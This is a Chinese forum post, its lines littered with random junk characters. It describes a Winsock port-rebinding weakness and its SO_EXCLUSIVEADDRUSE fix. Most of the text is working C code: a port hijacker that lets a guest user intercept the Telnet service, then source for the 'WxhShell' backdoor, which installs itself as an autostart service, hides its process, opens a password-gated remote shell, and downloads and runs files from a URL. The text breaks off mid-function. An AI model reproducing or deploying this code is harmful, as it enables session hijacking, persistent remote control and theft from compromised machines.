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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WIOV2+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bvj0^fSm  
2%1hdA<  
  saddr.sin_family = AF_INET; rqq1TRg  
)u">it+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *hrd5na  
V&i;\9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CLSK'+l  
Xj*Wu_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hZ3bVi)L\  
Vl]>u+YqE  
  这意味着什么?意味着可以进行如下的攻击: :&Nbw  
$]1=\ I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6*?F@D2&  
$>gFf}#C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E^PB)D(.  
6@o*xK7L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J,G lIv.A  
QJNFA}*>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \v{=gK  
V~bD)?M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X]=t>   
s{++w5s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g}i61(  
]_Xlq_[/r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +p^u^a  
v=k$A  
  #include _@g;8CA  
  #include tkhCw/  
  #include YqG7h,F  
  #include    ]4{H+rw  
  DWORD WINAPI ClientThread(LPVOID lpParam);    -M2yw  
  int main() +(*DT9s+  
  { iE{&*.q_}>  
  WORD wVersionRequested; {*KEP  
  DWORD ret; ?upM>69{  
  WSADATA wsaData; H]!"Zq k  
  BOOL val; \ jA~9  
  SOCKADDR_IN saddr; +"(jjxJm  
  SOCKADDR_IN scaddr; pp2~Meg  
  int err; /(T?j!nPE  
  SOCKET s; S'14hk<  
  SOCKET sc; x"(KBEK~  
  int caddsize; edV\-H5<  
  HANDLE mt; +V+a4lU14  
  DWORD tid;   /=h` L ,  
  wVersionRequested = MAKEWORD( 2, 2 ); [Q =N n  
  err = WSAStartup( wVersionRequested, &wsaData ); z~Q)/d,Ac  
  if ( err != 0 ) { zzz3Bq~  
  printf("error!WSAStartup failed!\n"); ddo#P%sH'  
  return -1; -N@|QK>  
  } 8Y3I0S  
  saddr.sin_family = AF_INET; SaCh 7 ^  
   :EH=_"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /bEAK-  
:KN-F86i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6RM/GM  
  saddr.sin_port = htons(23); Ie^l~ Gb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f5k6`7Vj]  
  { 7KPwQ?SjT  
  printf("error!socket failed!\n"); 3F0 N^)@  
  return -1; &{RDM~  
  } G j1_!.T  
  val = TRUE; ;]fs'LH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {[(h[MW#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OTp]Xe/  
  { \1`O_DF~o  
  printf("error!setsockopt failed!\n"); j4b4!^fV  
  return -1; AEuG v}#  
  } )i<j XZ:O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zVD:#d% b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S$k&vc(0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jtc~DL  
K>9 ()XT)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fatf*}eln  
  { |'.  
  ret=GetLastError(); uocGbi:V';  
  printf("error!bind failed!\n"); W`&hp6Jq  
  return -1; W l1 6`9  
  } .KC ++\{HE  
  listen(s,2); yBRC*0+Vy  
  while(1) U3kyraj  
  { {|\.i  
  caddsize = sizeof(scaddr); _w Ot39e&  
  //接受连接请求 KF/-wZ"1s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fQ98(+6  
  if(sc!=INVALID_SOCKET) Th[dW<  
  { d"NLE'R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _FEF x  
  if(mt==NULL) iCyf Oh  
  { 0g\(+Qg^  
  printf("Thread Creat Failed!\n"); [r-p]"R  
  break; SB7c.H,  
  } PzGWff!*n  
  } d\Zng!Z'  
  CloseHandle(mt); vI]N^j2%  
  } dTtSUA|V7"  
  closesocket(s); Df#l8YK#  
  WSACleanup(); I0a<%;JJW  
  return 0; iI>A *,{,`  
  }   <t,x RBk  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZB&6<uw  
  { Tf)*4O4@'  
  SOCKET ss = (SOCKET)lpParam; fAmz4  
  SOCKET sc; y==CT Y@  
  unsigned char buf[4096]; Bj~+WwD)QR  
  SOCKADDR_IN saddr; 8Eq7Sa  
  long num; "\=U)CJ  
  DWORD val; H|D.6^  
  DWORD ret; +"6`q;p3)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \;-|-8Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4X$Qu6#i  
  saddr.sin_family = AF_INET; cAc@n6[`3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N&pCx&  
  saddr.sin_port = htons(23); NCx%L-GPi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) frQ{iUx  
  { H.2QKws^F  
  printf("error!socket failed!\n"); J$!iq|  
  return -1; '{`$#@a.  
  } @A 5?3(e  
  val = 100; T^v}mWCZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l+R+&b^  
  { yWya&|D9  
  ret = GetLastError(); gO^gxJ'0t  
  return -1; E!#WnSpnK  
  } _y>~ yZx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PT9*)9<L  
  { Faf&U%]*`  
  ret = GetLastError(); ~nPtlrQa#*  
  return -1; 7yba04D)  
  } Lxk[;j+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PuO&wI]:  
  { hL5|69E  
  printf("error!socket connect failed!\n"); N!|wo:  
  closesocket(sc); 2Gdd*=4z  
  closesocket(ss); n}V_,:Z  
  return -1; r4f~z$QK  
  } 5D l/aHb  
  while(1) 2|bn(QYz  
  { u4_9)P`]0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g4@ lM"|S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ow#1="G,=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 42{:G8  
  num = recv(ss,buf,4096,0); +U.I( 83F  
  if(num>0) 7!$^r$t   
  send(sc,buf,num,0); ~= -RK$=  
  else if(num==0) uH-)y,2&  
  break; BCcjK6'  
  num = recv(sc,buf,4096,0); 3Hm/(C  
  if(num>0) 4g7)iL^#~  
  send(ss,buf,num,0); Y#3c }qb  
  else if(num==0) ,u g@f-T  
  break; 9k~8  
  } n}77##+R&C  
  closesocket(ss); PzR[KUK  
  closesocket(sc); PY0j 9$i?  
  return 0 ; o+9j?|M  
  } [=_jYzD,j|  
S[T8T|_  
Q dp)cT  
========================================================== IkXx# )  
{u9}bx'<  
下边附上一个代码,,WXhSHELL f4Rf?w*  
p[lA\@l[  
========================================================== _{Hj^}+$  
*~H Sy8s  
#include "stdafx.h" u?{H}V  
evJ.<{M  
#include <stdio.h> pXK^Y'2C!  
#include <string.h> Yir [!{  
#include <windows.h>  0{ [,E.  
#include <winsock2.h> TNr :pE<  
#include <winsvc.h> BV+ Bk+  
#include <urlmon.h> eNu7~3k}  
Jdp3nzM^^@  
#pragma comment (lib, "Ws2_32.lib") :Xd<74Nu  
#pragma comment (lib, "urlmon.lib") {GcO3G#FZ  
,i@:5X/t  
#define MAX_USER   100 // 最大客户端连接数 aoa)BNs  
#define BUF_SOCK   200 // sock buffer d5z`BH.  
#define KEY_BUFF   255 // 输入 buffer 1&o|TT/  
a+PzI x2  
#define REBOOT     0   // 重启 hDq`Z$_+KX  
#define SHUTDOWN   1   // 关机 7fX<511(  
=iD 3Yt  
#define DEF_PORT   5000 // 监听端口 13=.H5  
<V6VMYXY4  
#define REG_LEN     16   // 注册表键长度 wsVV$I[2  
#define SVC_LEN     80   // NT服务名长度 uL/m u<  
Ji 0 tQV  
// 从dll定义API C=4Qlt[`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,<p}o\6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u4|$bbig  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U!Z,xx[]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A$xF$l  
(/*]?Ehd  
// wxhshell配置信息 %-e 82J1  
struct WSCFG { ~**.|%Kc  
  int ws_port;         // 监听端口 AjgF6[B  
  char ws_passstr[REG_LEN]; // 口令 -8rjgB~."/  
  int ws_autoins;       // 安装标记, 1=yes 0=no aCLqk'  
  char ws_regname[REG_LEN]; // 注册表键名 A6iq[b]  
  char ws_svcname[REG_LEN]; // 服务名 Nl(3Xqov  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fe#\TNeQJ[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 78H'ax9m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *GN# r11d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kd$D 3S ^{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" az|N-?u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZEO,]$Yi7  
0tB0@Wj  
};  y%b F&  
yN s,Ll~  
// default Wxhshell configuration Vr1<^Ib  
struct WSCFG wscfg={DEF_PORT, e2W".+B1  
    "xuhuanlingzhe", r!a3\ep  
    1, H_<C!OgR  
    "Wxhshell", gH3vk $WS  
    "Wxhshell", {LQ#y/H?  
            "WxhShell Service", y[_Q-   
    "Wrsky Windows CmdShell Service", h@WhNk7"xa  
    "Please Input Your Password: ", ?r+-  
  1, {Z5nGG  
  "http://www.wrsky.com/wxhshell.exe", 'W,jMju  
  "Wxhshell.exe" Y<ql49-X  
    }; 9 ea\vZ  
~B(4qK1G  
// 消息定义模块 ^J8lBLqe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Ti'FhN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bl(RyA gA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -701j'q{  
char *msg_ws_ext="\n\rExit."; GU8sO@S5#  
char *msg_ws_end="\n\rQuit.";  !V g`  
char *msg_ws_boot="\n\rReboot..."; }HePZ{PLM  
char *msg_ws_poff="\n\rShutdown..."; +|89>}w4  
char *msg_ws_down="\n\rSave to "; P&e\)Z|  
 3 +fp2  
char *msg_ws_err="\n\rErr!"; I[##2  
char *msg_ws_ok="\n\rOK!"; :s6o"VkW  
r[Hc>wBv  
char ExeFile[MAX_PATH]; _v=SH$O+  
int nUser = 0; Q=20IQp  
HANDLE handles[MAX_USER]; pKrN:ExB"\  
int OsIsNt; 58J}{Req  
E6gI,f/p0X  
SERVICE_STATUS       serviceStatus; ]Y8<`;8/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W+X6@/BO  
#@~+HC=  
// 函数声明 B[-v[K2  
int Install(void); Nf"r4%M<6  
int Uninstall(void); oVe|M ss6  
int DownloadFile(char *sURL, SOCKET wsh); Zt.|oYH$  
int Boot(int flag); /& +tf*  
void HideProc(void); ;^I*J:]  
int GetOsVer(void); s '\Uap  
int Wxhshell(SOCKET wsl); -f>%+<k=  
void TalkWithClient(void *cs);  J@Q7p}  
int CmdShell(SOCKET sock); MsGM5(r:b  
int StartFromService(void); C"T;Qp~B  
int StartWxhshell(LPSTR lpCmdLine); Nyj( 0W  
Y@ksQ_u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qd)/9*|Jl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fv<F}h?6  
.KUv( -  
// 数据结构和表定义 Z%/=|[9i  
SERVICE_TABLE_ENTRY DispatchTable[] = "Yj'oE% \  
{ aAMVsE{  
{wscfg.ws_svcname, NTServiceMain}, C-MjJ6D<  
{NULL, NULL} ~C`^6UQr/?  
}; 4'A!; ]:  
z]?N+NHOA  
// 自我安装 l6 H|PR{  
int Install(void) M`i\VG  
{ {I#]@,  
  char svExeFile[MAX_PATH]; \EtQ5T*u  
  HKEY key; a^zibPG  
  strcpy(svExeFile,ExeFile); c%G{#}^2  
$$5aUI:$~$  
// 如果是win9x系统,修改注册表设为自启动 c>Xs&_  
if(!OsIsNt) { <\ :Yk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gPsi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (l- ab2'  
  RegCloseKey(key); YccH+[X;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H'HA+q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j<@lX^  
  RegCloseKey(key); s`'{I8'p/  
  return 0; ?Yk.$90  
    } ?>rW>U6:P  
  } ~W+kiTsD?  
}  &NK,VB;  
else { S4Ww5G?.  
&*G #H~\  
// 如果是NT以上系统,安装为系统服务 W=vP]x >J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IrhA+)pdse  
if (schSCManager!=0) hB>oJC  
{ iQ fJ  
  SC_HANDLE schService = CreateService 0rDh}<upjk  
  ( i/ )am9  
  schSCManager, 7KL v6]b  
  wscfg.ws_svcname, R:k5QD9/&p  
  wscfg.ws_svcdisp, ?_vakJ )  
  SERVICE_ALL_ACCESS, 2Yn <2U/^R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $?<Z!*x  
  SERVICE_AUTO_START, .=;3d~.]  
  SERVICE_ERROR_NORMAL, tlqiXh<  
  svExeFile, qHrA%k^!2O  
  NULL, NzSoqh{R  
  NULL, F,dx2ZPIs?  
  NULL, 5^lxj~ F  
  NULL, V7P&%oz{C  
  NULL s1NKLt  
  ); FUjl8b-|  
  if (schService!=0) sOJQ,"sB  
  { !&/{E [  
  CloseServiceHandle(schService); "*5hiTr8+  
  CloseServiceHandle(schSCManager); dA0.v+Foz"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @EpIh&  
  strcat(svExeFile,wscfg.ws_svcname); o .G!7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <55 g3>X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C/kW0V7  
  RegCloseKey(key); db6b-Y{   
  return 0; lfz2~Si5A  
    } fb8g7H|  
  } I}6\Sv=  
  CloseServiceHandle(schSCManager); t&CJ% XP  
} gy0haW   
} l q&wXi  
YWe"zz  
return 1; 0F|AA"mMT  
} !~&R"2/  
.5,(_p^  
// 自我卸载 hKjt'N:~ZY  
int Uninstall(void) s6zNV4  
{ "a"]o  
  HKEY key; -VTkG]{`Ir  
'BPp ]R#{  
if(!OsIsNt) { >wBJy4:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V=V:SlS9|  
  RegDeleteValue(key,wscfg.ws_regname); M&U j^K1  
  RegCloseKey(key); Q=T&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j|%HIF25  
  RegDeleteValue(key,wscfg.ws_regname); U,q\em R  
  RegCloseKey(key); 7C ,UDp|  
  return 0; jvFTR'R)=  
  } M:3h e  
} vIwCJN1C  
} :1^R9yWA4  
else { <U >>ZSi  
?)X,0P'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )'%$V%9  
if (schSCManager!=0) Upd3-2kr&J  
{ #KXa&C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;b(p=\i  
  if (schService!=0) 8C~]yd  
  { MP 2~;T}~  
  if(DeleteService(schService)!=0) { "7V2lu  
  CloseServiceHandle(schService); ~-m"   
  CloseServiceHandle(schSCManager); \z7SkZt,GT  
  return 0; rT5Ycm@  
  } 9Z'8!$LYg  
  CloseServiceHandle(schService); q51Uf_\/  
  } 4^Q :  
  CloseServiceHandle(schSCManager);  {=QiZWu  
} qt 2d\f  
} S.q].a  
QC;^xG+W  
return 1; W.0L:3<"  
} Z%Zd2 v  
`Ru3L#@  
// 从指定url下载文件 ugx%_x6  
int DownloadFile(char *sURL, SOCKET wsh) fUQ6Z,9  
{ ?Poq2  
  HRESULT hr; ehG/zVgn  
char seps[]= "/"; Ve!fU  
char *token; !M]\I&  
char *file; sZm$|T0  
char myURL[MAX_PATH]; i21Gw41p:  
char myFILE[MAX_PATH]; i?e`:}T  
F^LZeF[#t  
strcpy(myURL,sURL); FMkzrs  
  token=strtok(myURL,seps); c#]q^L\x  
  while(token!=NULL) <_Q:'cx'  
  { ?Ovqp-sw  
    file=token; $g+[yb7@  
  token=strtok(NULL,seps); 5N*Ux4M  
  } 7=OQ8IM !  
Nn"+w|v[ev  
GetCurrentDirectory(MAX_PATH,myFILE); u(t#Ze~Y1  
strcat(myFILE, "\\"); ~\3kx]^10  
strcat(myFILE, file);  n>`as  
  send(wsh,myFILE,strlen(myFILE),0); g9WGkH F  
send(wsh,"...",3,0); -!L"')  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X'% ;B  
  if(hr==S_OK) QZhj b  
return 0; z,:a8LB#[  
else njnDW~Snb  
return 1; -7&Gi +]  
D<X.\})Md  
} YxinE`u~  
F]t (%{#W  
// 系统电源模块 pzgSg[|  
int Boot(int flag) }~h(w^t  
{ e$uiJNS2  
  HANDLE hToken; UNi`P9D]3  
  TOKEN_PRIVILEGES tkp; "0k8IVwp  
P#/HTu5q7  
  if(OsIsNt) { h=_0+\%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %8M)2 ?E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Io|Aj  
    tkp.PrivilegeCount = 1; 0{PzUIM,W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n[,w f9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JS>Gd/Jd  
if(flag==REBOOT) { _fP&&}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R$Tp8G>j  
  return 0; `VL}.h  
} #I3$3^0i#  
else { S#Sb]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MqA`yvQm  
  return 0; &0BdUU+:<  
} y&=ALx@  
  } (V%`k'N7f  
  else { d k<XzO~g  
if(flag==REBOOT) { NwR}yb6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z@%HvB7  
  return 0; 9bq<GC'eX8  
} eD Z8w  
else { &"mzwQX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q;J`Q wkH  
  return 0; 6q6FB  
} %F*|;o7s  
} *d',Vuv&[  
d'Axum@  
return 1; u}|%@=xn  
} .ol'.t ,S  
T!}[yW  
// win9x进程隐藏模块 UD y(v]  
void HideProc(void) AVU>+[.=%c  
{ cFF*Z=L _  
79yd&5#e?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5+jf/}t A  
  if ( hKernel != NULL ) [ dE.[  
  { @Ehn(}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S"hTE7`   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S$^ RbI  
    FreeLibrary(hKernel); GzTq5uU&  
  } X*7\lf2  
E|$Oha[  
return; )CS.F=  
} `K >?ju"  
b]JI@=s?  
// 获取操作系统版本 J!*/a'Cv  
int GetOsVer(void) 'XUKN/.  
{ 7RvUH-S[  
  OSVERSIONINFO winfo; &X]\)`j0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2.X"f  
  GetVersionEx(&winfo); l@hjP1o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mG1 IQ!  
  return 1; @MK"X}3  
  else ;|cTHGxbE  
  return 0; rBN)a"  
} G^1b>K  
vkRi5!bR  
// 客户端句柄模块 :p4"IeKs  
int Wxhshell(SOCKET wsl) j9/-"dTL  
{ 1lnU77;  
  SOCKET wsh; lRP1&FH0  
  struct sockaddr_in client; B,(Heg  
  DWORD myID; 0J8K9rP;z  
n!E2_  
  while(nUser<MAX_USER) T=YzJyQC)  
{ **[Z^$)u(  
  int nSize=sizeof(client); X{-9FDW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9Of FM9(:  
  if(wsh==INVALID_SOCKET) return 1; =[<m[.)i  
g+C!kaC)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1SV^){5I  
if(handles[nUser]==0) NS,5/t  
  closesocket(wsh); Z2bcCIq4  
else i$KpDXP\  
  nUser++; :;!\vfZbU  
  } 'iLH `WE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;bX4(CMe &  
H2-28XGc  
  return 0; @l UlY2  
} 3v!~cC~cI  
VRW] a  
// 关闭 socket AP\ofLmq  
void CloseIt(SOCKET wsh) v1.q$ f^(  
{ Us~ X9n_F  
closesocket(wsh); !z zW2>  
nUser--; lKEa)KF[  
ExitThread(0); Y#01o&f0n  
} p '{xoV  
,goBq3[%?  
// 客户端请求句柄 &(xUhX T  
void TalkWithClient(void *cs) r++i=SQax  
{ :<~7y.*O{  
~mN% (w!^  
  SOCKET wsh=(SOCKET)cs; )J3kxmlzQ  
  char pwd[SVC_LEN]; ".~{:=  
  char cmd[KEY_BUFF]; uC]Z8&+obb  
char chr[1]; 7=*VpX1  
int i,j; | H ;+1  
7XyOB+aQO  
  while (nUser < MAX_USER) { lg1PE7  
i3 )xX@3  
if(wscfg.ws_passstr) { O hR1Jaed  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r5/R5Ga^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u>Ki$xP1  
  //ZeroMemory(pwd,KEY_BUFF); ZZ)G5ji  
      i=0;  9|S`ub'  
  while(i<SVC_LEN) { a1MFjmq  
2#_38=K=@  
  // 设置超时 5`E))?*"Pe  
  fd_set FdRead; Z#Lx_*p]Q  
  struct timeval TimeOut; [D'Gr*5~{  
  FD_ZERO(&FdRead); 3LlU]  
  FD_SET(wsh,&FdRead); px9>:t[P  
  TimeOut.tv_sec=8; 2go>  
  TimeOut.tv_usec=0; f e $Wu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oVB"f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b5e@oIK  
uiBTnG"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wh~s Z  
  pwd=chr[0]; uf@U:V  
  if(chr[0]==0xd || chr[0]==0xa) { 27#8dV?  
  pwd=0; h#3m4<w(9  
  break; |j_`z@7(  
  } 3^G96]E  
  i++; mT_GrIl[  
    } CJq c\I~  
E:VGji7s  
  // 如果是非法用户,关闭 socket F1A1@{8bN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `% E9xcD%  
} ~r`Wr`]_z  
)XVh&'(r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B[xR-6phW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xi~9&ed#$i  
'.p? 6k!K  
while(1) { BQjam+u6  
&P n]  
  ZeroMemory(cmd,KEY_BUFF); C;sgK  
<FmBa4ONU  
      // 自动支持客户端 telnet标准   XS0V:<+,  
  j=0; {~GR8 U  
  while(j<KEY_BUFF) { O2H/rFx4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c)1=U_61  
  cmd[j]=chr[0]; wR7aQg  
  if(chr[0]==0xa || chr[0]==0xd) { c d%hW  
  cmd[j]=0; _@ i>s,  
  break; AQci,j"  
  } $ly0h W  
  j++; }~*rx7p  
    } lvufkVG|  
X N;/nU  
  // 下载文件 pVOI5>f\  
  if(strstr(cmd,"http://")) { Tj,2r]g`<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v'nHFC+p  
  if(DownloadFile(cmd,wsh)) if@W ]%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iUNnPJh  
  else 5a$$95oL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #O</\|aH)i  
  } yzc pG6 ,  
  else { 1!s28C5u  
*:QXz<_x+  
    switch(cmd[0]) { piu0^vEEH  
  8!j=vCv  
  // 帮助 ~R!gJTO9  
  case '?': { /w~C~6z @!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >i8~dEbB  
    break; @Qo,p  
  } A1<k1[5fJ  
  // 安装 MYTS3(  
  case 'i': { `D)S-7BR  
    if(Install()) +(AwSh!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @9_)On9hZ  
    else ]7F)bIG[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z1]"[U[;  
    break; q)Je.6$#X  
    } WOH9%xv  
  // 卸载 {U P_i2`.  
  case 'r': { fNEz  
    if(Uninstall()) |E|T%i^}./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qP`?M\!O  
    else /\~W$.c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M,L@k  
    break; 3*\8p6G  
    } i;HH ! TaN  
  // 显示 wxhshell 所在路径 t~~r-V":  
  case 'p': { kGj]i@(PA4  
    char svExeFile[MAX_PATH]; o*)@oU  
    strcpy(svExeFile,"\n\r"); drX4$Kdf]  
      strcat(svExeFile,ExeFile); &z0iLa4q)  
        send(wsh,svExeFile,strlen(svExeFile),0); r!M#7FDs(  
    break; u-M] A z-  
    } u~)%tL  
  // 重启 ok=40B99T  
  case 'b': { ^8\Y`Z0%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D JJZJ}7  
    if(Boot(REBOOT)) Wy,"cT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w#d} TY  
    else { 0hZxN2r  
    closesocket(wsh); >%i9oI<)  
    ExitThread(0); Dtt\~m;AR  
    } s KCGuw(mh  
    break; $Q,n+ /  
    } n% U9iwJ.  
  // 关机 UNY@w=]<  
  case 'd': { k7b(QADqUU  
